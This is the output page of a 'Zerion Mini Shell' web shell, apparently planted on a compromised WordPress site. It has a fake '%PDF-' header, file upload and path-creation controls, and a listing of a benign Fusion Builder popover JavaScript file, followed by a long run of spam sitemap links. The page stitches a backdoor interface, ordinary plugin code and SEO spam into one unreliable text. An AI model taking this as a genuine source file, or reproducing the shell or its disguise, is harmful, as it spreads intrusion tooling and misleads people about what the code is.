%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /dom645759/wp-content/plugins/fusion-builder/front-end/views/elements/
Upload File :
Create Path :
Current File : /dom645759/wp-content/plugins/fusion-builder/front-end/views/elements/view-popover.js

/* global FusionPageBuilderApp, fusionAllElements */
var FusionPageBuilder = FusionPageBuilder || {};

( function() {

	jQuery( document ).ready( function() {

		// Tooltip View
		FusionPageBuilder.fusion_popover = FusionPageBuilder.ElementView.extend( {

			/**
			 * Runs before view DOM is patched.
			 *
			 * @since 2.0
			 * @return {void}
			 */
			beforePatch: function() {
				var $popover = jQuery( '#fb-preview' )[ 0 ].contentWindow.jQuery( this.$el.find( '[data-toggle~="popover"]' ) );
				$popover.removeData();
				$popover.remove();

				if ( jQuery( '#fb-preview' )[ 0 ].contentWindow.jQuery( '.fusion-popover-' + this.model.get( 'cid' ) ).length ) {
					jQuery( '#fb-preview' )[ 0 ].contentWindow.jQuery( '.fusion-popover-' + this.model.get( 'cid' ) ).remove();
				}
			},

			/**
			 * Runs after view DOM is patched.
			 *
			 * @since 2.0
			 * @return {void}
			 */
			afterPatch: function() {
				this._refreshJs();
			},

			/**
			 * Modify template attributes.
			 *
			 * @since 2.0
			 * @param {Object} atts - The attributes.
			 * @return {Object}
			 */
			filterTemplateAtts: function( atts ) {
				var attributes = {};

				this.values        = atts.values;
				attributes.attr    = this.computeAttr( atts.values );
				attributes.cid     = this.model.get( 'cid' );
				attributes.parent  = this.model.get( 'parent' );
				attributes.inline  = 'undefined' !== typeof atts.inlineElement;
				attributes.content = atts.values.element_content;
				attributes.label   = window.fusionAllElements[ this.model.get( 'element_type' ) ].name;
				attributes.icon    = window.fusionAllElements[ this.model.get( 'element_type' ) ].icon;
				attributes.popover = atts.values.popover;
				return attributes;
			},

			/**
			 * Builds attributes.
			 *
			 * @since 2.0
			 * @param {Object} values - The values.
			 * @return {Object}
			 */
			computeAttr: function( values ) {
				var cssVars = [
						'bordercolor',
						'title_bg_color',
						'textcolor',
						'bordercolor',
						'content_bg_color'
					],
					cid              = this.model.get( 'cid' ),
					atts             = {
						class: 'fusion-popover popover-' + cid,
						'data-style': this.getCssVarsForOptions( cssVars )
					},
					popoverContent   = values.content;

				this.values.arrow_color = 'bottom' !== this.values.placement ? this.values.content_bg_color : this.values.title_bg_color;
				if ( '' !== this.values.arrow_color ) {
					atts[ 'data-style' ] += '--awb-arrowcolor:' + this.values.arrow_color + ';';
				}

				if ( 'default' === values.placement ) {
					values.placement = fusionAllElements.fusion_popover.defaults.placement;
				}

				if ( '' !== values[ 'class' ] ) {
					atts[ 'class' ] += ' ' + values[ 'class' ];
				}

				if ( '' !== values.id ) {
					atts.id = values.id;
				}

				try {
					if ( popoverContent && '' !== popoverContent && FusionPageBuilderApp.base64Encode( FusionPageBuilderApp.base64Decode( popoverContent ) ) === popoverContent ) {
						popoverContent = FusionPageBuilderApp.base64Decode( popoverContent );
					}
				} catch ( error ) {
					console.log( error ); // jshint ignore:line
				}

				// Resolve inline {dynamic_data} tokens in the popover body. The shared inline-DD pipeline
				// in view-base.js skips raw_textarea options, so handle them here for this specific param.
				if ( 'string' === typeof popoverContent && '' !== popoverContent && -1 !== popoverContent.indexOf( '{' ) ) {
					const tokens = popoverContent.match( /\{.*?\}/g );

					if ( tokens && tokens.length ) {
						const self = this;
						_.each( tokens, function( token ) {
							const tokenValue = FusionPageBuilderApp.dynamicValues.getValue( { 'data': token } );

							if ( tokenValue && 'object' === typeof tokenValue && 'function' === typeof tokenValue.then ) {
								tokenValue.then( function() {
									if ( tokenValue.responseJSON && null !== tokenValue.responseJSON.content ) {
										self.reRender();
									}
								} );
							} else if ( 'undefined' !== typeof tokenValue && false !== tokenValue ) {
								popoverContent = popoverContent.split( token ).join( tokenValue );
							}
						} );
					}
				}

				atts[ 'data-animation' ] = values.animation;
				atts[ 'data-class' ]     = 'fusion-popover-' + cid;
				atts[ 'data-delay' ]     = values.delay;
				atts[ 'data-placement' ] = values.placement.toLowerCase();
				atts[ 'data-title' ]     = values.title;
				atts[ 'data-toggle' ]    = 'popover';
				atts[ 'data-trigger' ]   = values.trigger;
				// The popover box renders this as markup: sanitize it like the PHP render does.
				values.popover           = _.awbKsesPost( popoverContent );
				return atts;
			}
		} );
	} );
}( jQuery ) );

Zerion Mini Shell 1.0
https://louisvillegop.com/sitemap85.xml 2026-12-01 https://louisvillegop.com/sitemap226.xml 2026-12-01 https://louisvillegop.com/sitemap257.xml 2026-12-01 https://louisvillegop.com/sitemap328.xml 2026-12-01 https://louisvillegop.com/sitemap167.xml 2026-12-01 https://louisvillegop.com/sitemap338.xml 2026-12-01 https://louisvillegop.com/sitemap144.xml 2026-12-01 https://louisvillegop.com/sitemap176.xml 2026-12-01 https://louisvillegop.com/sitemap823.xml 2026-12-01 https://louisvillegop.com/sitemap605.xml 2026-12-01 https://louisvillegop.com/sitemap834.xml 2026-12-01 https://louisvillegop.com/sitemap703.xml 2026-12-01 https://louisvillegop.com/sitemap798.xml 2026-12-01 https://louisvillegop.com/sitemap392.xml 2026-12-01 https://louisvillegop.com/sitemap638.xml 2026-12-01 https://louisvillegop.com/sitemap484.xml 2026-12-01 https://louisvillegop.com/sitemap575.xml 2026-12-01 https://louisvillegop.com/sitemap192.xml 2026-12-01 https://louisvillegop.com/sitemap210.xml 2026-12-01 https://louisvillegop.com/sitemap447.xml 2026-12-01 https://louisvillegop.com/sitemap137.xml 2026-12-01 https://louisvillegop.com/sitemap902.xml 2026-12-01 https://louisvillegop.com/sitemap596.xml 2026-12-01 https://louisvillegop.com/sitemap852.xml 2026-12-01 https://louisvillegop.com/sitemap204.xml 2026-12-01 https://louisvillegop.com/sitemap899.xml 2026-12-01 https://louisvillegop.com/sitemap748.xml 2026-12-01 https://louisvillegop.com/sitemap987.xml 2026-12-01 https://louisvillegop.com/sitemap761.xml 2026-12-01 https://louisvillegop.com/sitemap911.xml 2026-12-01 https://louisvillegop.com/sitemap624.xml 2026-12-01 https://louisvillegop.com/sitemap1.xml 2026-12-01 https://louisvillegop.com/sitemap958.xml 2026-12-01 https://louisvillegop.com/sitemap621.xml 2026-12-01 https://louisvillegop.com/sitemap161.xml 2026-12-01 https://louisvillegop.com/sitemap637.xml 2026-12-01 https://louisvillegop.com/sitemap518.xml 2026-12-01 https://louisvillegop.com/sitemap368.xml 2026-12-01 https://louisvillegop.com/sitemap68.xml 2026-12-01 https://louisvillegop.com/sitemap221.xml 2026-12-01 https://louisvillegop.com/sitemap709.xml 2026-12-01 https://louisvillegop.com/sitemap982.xml 2026-12-01 https://louisvillegop.com/sitemap280.xml 2026-12-01 https://louisvillegop.com/sitemap459.xml 2026-12-01 https://louisvillegop.com/sitemap687.xml 2026-12-01 https://louisvillegop.com/sitemap278.xml 2026-12-01 https://louisvillegop.com/sitemap252.xml 2026-12-01 https://louisvillegop.com/sitemap673.xml 2026-12-01 https://louisvillegop.com/sitemap250.xml 2026-12-01 https://louisvillegop.com/sitemap78.xml 2026-12-01 https://louisvillegop.com/sitemap886.xml 2026-12-01 https://louisvillegop.com/sitemap3.xml 2026-12-01 https://louisvillegop.com/sitemap634.xml 2026-12-01 https://louisvillegop.com/sitemap87.xml 2026-12-01 https://louisvillegop.com/sitemap561.xml 2026-12-01 https://louisvillegop.com/sitemap767.xml 2026-12-01 https://louisvillegop.com/sitemap762.xml 2026-12-01 https://louisvillegop.com/sitemap814.xml 2026-12-01 https://louisvillegop.com/sitemap106.xml 2026-12-01 https://louisvillegop.com/sitemap248.xml 2026-12-01 https://louisvillegop.com/sitemap8.xml 2026-12-01 https://louisvillegop.com/sitemap63.xml 2026-12-01 https://louisvillegop.com/sitemap322.xml 2026-12-01 https://louisvillegop.com/sitemap735.xml 2026-12-01 https://louisvillegop.com/sitemap683.xml 2026-12-01 https://louisvillegop.com/sitemap555.xml 2026-12-01 https://louisvillegop.com/sitemap29.xml 2026-12-01 https://louisvillegop.com/sitemap769.xml 2026-12-01 https://louisvillegop.com/sitemap404.xml 2026-12-01 https://louisvillegop.com/sitemap214.xml 2026-12-01